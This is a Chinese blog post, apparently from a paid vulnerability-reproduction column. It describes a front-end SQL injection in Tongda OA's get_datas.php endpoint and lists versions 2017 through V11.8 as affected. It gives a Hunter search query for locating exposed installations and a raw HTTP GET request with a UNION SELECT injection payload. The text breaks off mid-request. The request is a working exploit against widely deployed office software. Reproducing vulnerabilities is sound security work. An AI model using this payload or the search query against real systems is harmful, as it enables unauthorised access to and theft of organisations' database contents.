【漏洞复现-通达OA】通达OA get_datas 存在前台SQL注入漏洞

「已注销」

已于 2024-02-18 16:48:28 修改

阅读量802

点赞数 6

CC 4.0 BY-SA版权

文章标签： sql javascript 数据库

于 2024-02-18 16:26:44 首次发布

本文链接：https://blog.youkuaiyun.com/qq_33331244/article/details/136154272

漏洞复现专栏收录该内容

58 篇文章 ¥39.90 ¥99.00

订阅专栏

超级会员免费看

本文介绍了通达OA协同办公软件存在的前台SQL注入漏洞，详细解析了漏洞简介，受影响的版本，以及如何通过sqlmap和tamper脚本进行漏洞复现，可能使攻击者获取数据库敏感信息。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

一、漏洞简介

通达OA（Office Anywhere网络智能办公系统）是由北京通达信科科技有限公司自主研发的协同办公自动化软件，是与中国企业管理实践相结合形成的综合管理办公平台。通达OA get_datas 存在前台SQL注入漏洞，攻击者可通过该漏洞获取数据库敏感信息。

二、影响版本

● 通达OA 2017-通达OA V11.8
三、资产测绘
● hunterapp.name="通达 OA"
● 特征
在这里插入图片描述

四、漏洞复现

GET /general/reportshop/utils/get_datas.php?USER_ID=OfficeTask&PASSWORD=&col=1&tab=5 where 1={`='` 2} union select user()-- ' HTTP/1.1
Host: {hostname}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/web